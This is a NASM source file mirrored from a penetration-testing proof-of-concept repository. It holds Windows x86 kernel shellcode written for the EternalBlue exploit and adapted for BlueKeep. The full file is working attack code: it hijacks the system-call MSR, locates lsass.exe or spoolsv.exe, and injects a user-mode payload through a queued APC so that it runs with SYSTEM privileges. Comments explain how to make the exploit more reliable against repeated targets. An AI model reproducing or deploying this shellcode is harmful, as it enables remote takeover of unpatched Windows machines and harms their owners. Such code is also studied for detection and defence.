mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-21 02:10:38 +00:00
599 lines
20 KiB
NASM
599 lines
20 KiB
NASM
;
|
|
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
|
|
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
|
|
;
|
|
; Minor modifications were made by 0xeb-bp for BlueKeep.
|
|
;
|
|
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
|
|
;
|
|
;
|
|
; Note:
|
|
; - The userland shellcode is run in a new thread of system process.
|
|
; If userland shellcode causes any exception, the system process get killed.
|
|
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
|
|
; get call because system call is called on other processors.
|
|
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
|
|
; This helps running exploit against same target repeatly more reliable.
|
|
; - The userland payload MUST be appened to this shellcode.
|
|
;
|
|
; Reference:
|
|
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
|
|
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
|
|
|
|
BITS 32
|
|
;ORG 0
|
|
|
|
|
|
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
|
|
PSGETPROCESSID_HASH EQU 0x170114e1
|
|
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
|
|
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
|
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
|
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
|
PSGETTHREADTEB_HASH EQU 0xcef84c3e
|
|
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
|
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
|
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
|
CREATETHREAD_HASH EQU 0x835e515e
|
|
|
|
|
|
|
|
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
|
|
DATA_MODULE_ADDR_OFFSET EQU 0x4
|
|
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
|
|
DATA_EPROCESS_OFFSET EQU 0xc
|
|
DATA_KAPC_OFFSET EQU 0x10
|
|
|
|
section .text
|
|
global shellcode_start
|
|
|
|
shellcode_start:
|
|
|
|
setup_syscall_hook:
|
|
; IRQL is DISPATCH_LEVEL when got code execution
|
|
%ifdef WIN7
|
|
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
|
|
; set nByteProcessed to free corrupted buffer after return
|
|
mov ecx, [eax+0x14]
|
|
mov [eax+0x1c], ecx
|
|
%elifdef WIN8
|
|
%endif
|
|
|
|
pushad
|
|
|
|
call _setup_syscall_hook_find_eip
|
|
_setup_syscall_hook_find_eip:
|
|
pop ebx
|
|
|
|
call set_ebp_data_address_fn
|
|
|
|
; read current syscall
|
|
mov ecx, 0x176
|
|
rdmsr
|
|
; do NOT replace saved original syscall address with hook syscall
|
|
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
|
|
cmp eax, edi
|
|
je _setup_syscall_hook_done
|
|
|
|
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
|
|
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
|
je _hook_syscall
|
|
|
|
; save original syscall
|
|
mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
|
|
|
; first time on the target, clear the data area
|
|
; edx should be zero from rdmsr
|
|
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
|
|
|
|
_hook_syscall:
|
|
; set a new syscall on running processor
|
|
; setting MSR 0x176 affects only running processor
|
|
mov eax, edi
|
|
xor edx, edx
|
|
wrmsr
|
|
|
|
_setup_syscall_hook_done:
|
|
popad
|
|
_keep_halting: ; for BlueKeep
|
|
hlt ;
|
|
jmp _keep_halting ; for BlueKeep
|
|
%ifdef WIN7
|
|
xor eax, eax
|
|
%elifdef WIN8
|
|
xor eax, eax
|
|
%endif
|
|
ret 0x24
|
|
|
|
;========================================================================
|
|
; Find memory address in HAL heap for using as data area
|
|
; Arguments: ebx = any address in this shellcode
|
|
; Return: ebp = data address
|
|
;========================================================================
|
|
set_ebp_data_address_fn:
|
|
; On idle target without user application, syscall on hijacked processor might not be called immediately.
|
|
; Find some address to store the data, the data in this address MUST not be modified
|
|
; when exploit is rerun before syscall is called
|
|
lea ebp, [ebx + 0x1000]
|
|
shr ebp, 12
|
|
shl ebp, 12
|
|
sub ebp, 0x50 ; for KAPC struct too
|
|
ret
|
|
|
|
|
|
syscall_hook:
|
|
mov ecx, 0x23
|
|
push 0x30
|
|
pop fs
|
|
mov ds,cx
|
|
mov es,cx
|
|
mov ecx, dword [fs:0x40]
|
|
mov esp, dword [ecx+4]
|
|
|
|
push ecx ; want this stack space to store original syscall addr
|
|
pushfd
|
|
pushad
|
|
|
|
call _syscall_hook_find_eip
|
|
_syscall_hook_find_eip:
|
|
pop ebx
|
|
|
|
call set_ebp_data_address_fn
|
|
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
|
|
|
|
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
|
|
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
|
|
|
|
; use lock cmpxchg for queueing APC only one at a time
|
|
xor eax, eax
|
|
cdq
|
|
inc edx
|
|
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
|
|
jnz _syscall_hook_done
|
|
|
|
;======================================
|
|
; restore syscall
|
|
;======================================
|
|
; an error after restoring syscall should never occur
|
|
mov ecx, 0x176
|
|
cdq
|
|
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
|
|
wrmsr
|
|
|
|
; allow interrupts while executing shellcode
|
|
sti
|
|
call r3_to_r0_start
|
|
cli
|
|
|
|
_syscall_hook_done:
|
|
popad
|
|
popfd
|
|
ret
|
|
|
|
r3_to_r0_start:
|
|
;======================================
|
|
; find nt kernel address
|
|
;======================================
|
|
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
|
|
shr eax, 0xc ; strip to page size
|
|
shl eax, 0xc
|
|
|
|
_find_nt_walk_page:
|
|
sub eax, 0x1000 ; walk along page size
|
|
cmp word [eax], 0x5a4d ; 'MZ' header
|
|
jne _find_nt_walk_page
|
|
|
|
; save nt address
|
|
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
|
|
|
|
;======================================
|
|
; get current EPROCESS and ETHREAD
|
|
;======================================
|
|
mov eax, PSGETCURRENTPROCESS_HASH
|
|
call win_api_direct
|
|
xchg edi, eax ; edi = EPROCESS
|
|
|
|
;======================================
|
|
; find offset of EPROCESS.ImageFilename
|
|
;======================================
|
|
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
|
|
push edi
|
|
call win_api_direct
|
|
sub eax, edi
|
|
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
|
|
|
|
;======================================
|
|
; find offset of EPROCESS.ThreadListHead
|
|
;======================================
|
|
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
|
|
; if offset of ImageFilename is 0x170, current is (Win8+)
|
|
%ifdef WIN7
|
|
lea ebx, [eax+0x1c]
|
|
%elifdef WIN8
|
|
lea ebx, [eax+0x24]
|
|
%else
|
|
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
|
|
jne _find_eprocess_threadlist_offset_win7
|
|
add eax, 0x8
|
|
_find_eprocess_threadlist_offset_win7:
|
|
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
|
|
%endif
|
|
|
|
|
|
;======================================
|
|
; find offset of ETHREAD.ThreadListEntry
|
|
;======================================
|
|
; edi = EPROCESS
|
|
; ebx = offset of EPROCESS.ThreadListHead
|
|
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
|
|
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
|
|
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
|
|
_find_ethread_threadlist_offset_loop:
|
|
mov esi, dword [esi]
|
|
; if (esi - edi < 0x400) found
|
|
mov edx, esi
|
|
sub edx, eax
|
|
cmp edx, 0x400
|
|
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
|
|
push edx ; save offset of ETHREAD.ThreadListEntry to stack
|
|
|
|
|
|
;======================================
|
|
; find offset of EPROCESS.ActiveProcessLinks
|
|
;======================================
|
|
mov eax, PSGETPROCESSID_HASH
|
|
call get_proc_addr
|
|
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
|
|
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
|
|
|
|
;======================================
|
|
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
|
|
;======================================
|
|
; edi = EPROCESS
|
|
; ecx = offset of EPROCESS.ImageFilename
|
|
; edx = offset of EPROCESS.ActiveProcessLinks
|
|
_find_target_process_loop:
|
|
lea esi, [edi+ecx]
|
|
call calc_hash
|
|
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
|
|
jz found_target_process
|
|
%ifndef COMPACT
|
|
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
|
|
jz found_target_process
|
|
%endif
|
|
; next process
|
|
mov edi, [edi+edx]
|
|
sub edi, edx
|
|
jmp _find_target_process_loop
|
|
|
|
|
|
found_target_process:
|
|
; The allocation for userland payload will be in KernelApcRoutine.
|
|
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
|
|
|
|
;======================================
|
|
; save EPROCESS for finding CreateThread address in kernel KAPC routine
|
|
;======================================
|
|
mov [ebp+DATA_EPROCESS_OFFSET], edi
|
|
|
|
|
|
;======================================
|
|
; iterate ThreadList until KeInsertQueueApc() success
|
|
;======================================
|
|
; edi = EPROCESS
|
|
; ebx = offset of EPROCESS.ThreadListHead
|
|
|
|
lea ebx, [edi+ebx] ; use ebx for iterating thread
|
|
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
|
|
pop edi ; edi = offset of ETHREAD.ThreadListEntry
|
|
|
|
|
|
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
|
|
; Moreover, alertable thread need to be waiting state which is more difficult to check.
|
|
; try queueing APC then check KAPC member is more reliable.
|
|
|
|
_insert_queue_apc_loop:
|
|
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
|
mov ebx, [ebx+4]
|
|
; no check list head
|
|
|
|
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
|
|
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
|
|
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
|
|
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
|
|
; Teb member is next to Queue member.
|
|
mov eax, PSGETTHREADTEB_HASH
|
|
call get_proc_addr
|
|
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
|
|
%ifdef WIN7
|
|
sub eax, edi
|
|
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
|
|
%elifdef WIN8
|
|
sub eax, edi
|
|
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
|
|
%else
|
|
cmp al, 0xa0 ; win8+ offset is 0xa8
|
|
ja _kthread_queue_check
|
|
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
|
|
_kthread_queue_check:
|
|
sub eax, edi
|
|
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
|
|
%endif
|
|
je _insert_queue_apc_loop
|
|
|
|
; KeInitializeApc(PKAPC,
|
|
; PKTHREAD,
|
|
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
|
|
; PKKERNEL_ROUTINE = kernel_apc_routine,
|
|
; PKRUNDOWN_ROUTINE = NULL,
|
|
; PKNORMAL_ROUTINE = userland_shellcode,
|
|
; KPROCESSOR_MODE = UserMode (1),
|
|
; PVOID Context);
|
|
xor eax, eax
|
|
push ebp ; context
|
|
push 1 ; UserMode
|
|
push ebp ; userland shellcode (MUST NOT be NULL)
|
|
push eax ; NULL
|
|
call _init_kapc_find_kroutine
|
|
_init_kapc_find_kroutine:
|
|
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
|
|
push eax ; OriginalApcEnvironment
|
|
push ebx
|
|
sub [esp], edi ; ETHREAD
|
|
push esi ; KAPC
|
|
mov eax, KEINITIALIZEAPC_HASH
|
|
call win_api_direct
|
|
|
|
|
|
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
|
|
; SystemArgument1 is second argument in usermode code
|
|
; SystemArgument2 is third argument in usermode code
|
|
xor eax, eax
|
|
push eax
|
|
push eax ; SystemArgument2
|
|
push eax ; SystemArgument1
|
|
push esi ; PKAPC
|
|
mov eax, KEINSERTQUEUEAPC_HASH
|
|
call win_api_direct
|
|
; if insertion failed, try next thread
|
|
test eax, eax
|
|
jz _insert_queue_apc_loop
|
|
|
|
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
|
|
; EPROCESS pointer 4 bytes
|
|
; InProgressFlags 1 byte
|
|
; KernelApcPending 1 byte
|
|
; if success, UserApcPending MUST be 1
|
|
cmp byte [eax+0xe], 1
|
|
je _insert_queue_apc_done
|
|
|
|
; manual remove list without lock
|
|
mov [eax], eax
|
|
mov [eax+4], eax
|
|
jmp _insert_queue_apc_loop
|
|
|
|
_insert_queue_apc_done:
|
|
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
|
|
|
|
_r3_to_r0_done:
|
|
ret
|
|
|
|
;========================================================================
|
|
; Call function in specific module
|
|
;
|
|
; All function arguments are passed as calling normal function with extra register arguments
|
|
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
|
|
; eax = hash of target function name
|
|
;========================================================================
|
|
win_api_direct:
|
|
call get_proc_addr
|
|
jmp eax
|
|
|
|
|
|
;========================================================================
|
|
; Get function address in specific module
|
|
;
|
|
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
|
|
; eax = hash of target function name
|
|
; Return: eax = offset
|
|
;========================================================================
|
|
get_proc_addr:
|
|
pushad
|
|
|
|
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
|
|
xchg edi, eax ; edi = hash
|
|
|
|
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
|
|
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
|
|
|
|
add edx, ebp ; edx = EAT
|
|
|
|
mov ecx, dword [edx+0x18] ; NumberOfFunctions
|
|
mov ebx, dword [edx+0x20] ; FunctionNames
|
|
add ebx, ebp
|
|
|
|
_get_proc_addr_get_next_func:
|
|
; When we reach the start of the EAT (we search backwards), we hang or crash
|
|
dec ecx ; decrement NumberOfFunctions
|
|
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
|
|
add esi, ebp ; Add the modules base address
|
|
|
|
call calc_hash
|
|
|
|
cmp eax, edi ; Compare the hashes
|
|
jnz _get_proc_addr_get_next_func ; try the next function
|
|
|
|
_get_proc_addr_finish:
|
|
mov ebx, dword [edx+0x24]
|
|
add ebx, ebp ; ordinate table virtual address
|
|
mov cx, word [ebx+ecx*2] ; desired functions ordinal
|
|
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
|
|
add ebx, ebp ; Add the modules base address
|
|
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
|
|
add eax, ebp ; Add the modules base address to get the functions actual VA
|
|
|
|
mov [esp+0x1c], eax
|
|
popad
|
|
ret
|
|
|
|
;========================================================================
|
|
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
|
|
;
|
|
; Argument: esi = string to hash
|
|
; Clobber: esi
|
|
; Return: eax = hash
|
|
;========================================================================
|
|
calc_hash:
|
|
push edx
|
|
xor eax, eax
|
|
cdq
|
|
_calc_hash_loop:
|
|
lodsb ; Read in the next byte of the ASCII string
|
|
ror edx, 13 ; Rotate right our hash value
|
|
add edx, eax ; Add the next byte of the string
|
|
test eax, eax ; Stop when found NULL
|
|
jne _calc_hash_loop
|
|
xchg edx, eax
|
|
pop edx
|
|
ret
|
|
|
|
|
|
|
|
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
|
|
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
|
|
; Moreover, there is no lock when calling KernelApcRoutine.
|
|
;
|
|
; VOID KernelApcRoutine(
|
|
; IN PKAPC Apc,
|
|
; IN PKNORMAL_ROUTINE *NormalRoutine,
|
|
; IN PVOID *NormalContext,
|
|
; IN PVOID *SystemArgument1,
|
|
; IN PVOID *SystemArgument2)
|
|
kernel_kapc_routine:
|
|
; reorder stack to make everything easier
|
|
pop eax
|
|
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
|
|
pop eax ; PKAPC (unused)
|
|
pop ecx ; &NormalRoutine
|
|
pop eax ; &NormalContext
|
|
pop edx ; &SystemArgument1
|
|
|
|
pushad
|
|
push edx ; &SystemArgument1 (use for set CreateThread address)
|
|
push ecx ; &NormalRoutine
|
|
|
|
mov ebp, [eax] ; *NormalContext is our data area pointer
|
|
|
|
;======================================
|
|
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
|
|
;======================================
|
|
xor eax, eax
|
|
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
|
|
cdq
|
|
|
|
mov al, 0x40 ; eax = 0x40
|
|
push eax ; PAGE_EXECUTE_READWRITE = 0x40
|
|
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
|
|
push eax ; MEM_COMMIT = 0x1000
|
|
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
|
|
push edx ; ZeroBits
|
|
mov [ecx], edx
|
|
push ecx ; baseAddr = 0
|
|
dec edx
|
|
push edx ; ProcessHandle = -1
|
|
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
|
|
call win_api_direct
|
|
%ifndef COMPACT
|
|
test eax, eax
|
|
jnz _kernel_kapc_routine_exit
|
|
%endif
|
|
|
|
;======================================
|
|
; copy userland payload
|
|
;======================================
|
|
pop eax
|
|
mov edi, [eax]
|
|
call _kernel_kapc_routine_find_userland
|
|
_kernel_kapc_routine_find_userland:
|
|
pop esi
|
|
add esi, userland_start-_kernel_kapc_routine_find_userland
|
|
mov ecx, 0x400 ; fix payload size to 1024 bytes
|
|
rep movsb
|
|
|
|
;======================================
|
|
; find current PEB
|
|
;======================================
|
|
mov eax, [ebp+DATA_EPROCESS_OFFSET]
|
|
push eax
|
|
mov eax, PSGETPROCESSPEB_HASH
|
|
call win_api_direct
|
|
|
|
;======================================
|
|
; find CreateThread address (in kernel32.dll)
|
|
;======================================
|
|
mov eax, [eax + 0xc] ; PEB->Ldr
|
|
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
|
|
|
|
%ifdef COMPACT
|
|
mov esi, [eax] ; first one always be executable, skip it
|
|
lodsd ; skip ntdll.dll
|
|
%else
|
|
_find_kernel32_dll_loop:
|
|
mov eax, [eax] ; first one always be executable
|
|
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
|
|
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
|
|
; offset 0x28 => is name
|
|
; offset 0x10 => is dllbase
|
|
;cmp word [eax+0x1c], 0x40
|
|
;jne _find_kernel32_dll_loop
|
|
cmp word [eax+0x24], 0x18
|
|
jne _find_kernel32_dll_loop
|
|
|
|
mov edx, [eax+0x28]
|
|
; check only "32" because name might be lowercase or uppercase
|
|
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
|
|
jnz _find_kernel32_dll_loop
|
|
%endif
|
|
|
|
mov ebx, [eax+0x10]
|
|
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
|
|
mov eax, CREATETHREAD_HASH
|
|
call get_proc_addr
|
|
|
|
; save CreateThread address to SystemArgument1
|
|
pop ecx
|
|
mov [ecx], eax
|
|
|
|
_kernel_kapc_routine_exit:
|
|
xor eax, eax
|
|
; clear queueing kapc flag, allow other hijacked system call to run shellcode
|
|
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
|
|
; restore IRQL to APC_LEVEL
|
|
inc eax
|
|
mov byte [fs:0x24], al
|
|
|
|
popad
|
|
ret
|
|
|
|
|
|
userland_start:
|
|
userland_start_thread:
|
|
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
|
|
pop edx ; saved eip
|
|
pop eax ; first argument (NormalContext)
|
|
pop eax ; CreateThread address passed from kernel
|
|
pop ecx ; another argument (NULL) passed from kernel
|
|
push ecx ; lpThreadId = NULL
|
|
push ecx ; dwCreationFlags = 0
|
|
push ecx ; lpParameter = NULL
|
|
call _userland_start_thread_find_payload
|
|
_userland_start_thread_find_payload:
|
|
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
|
|
push ecx ; dwStackSize = 0
|
|
push ecx ; lpThreadAttributes = NULL
|
|
push edx ; restore saved eip
|
|
jmp eax
|
|
|
|
userland_payload:
|
|
xor eax, eax ;To more easily add shellcode in exploit code
|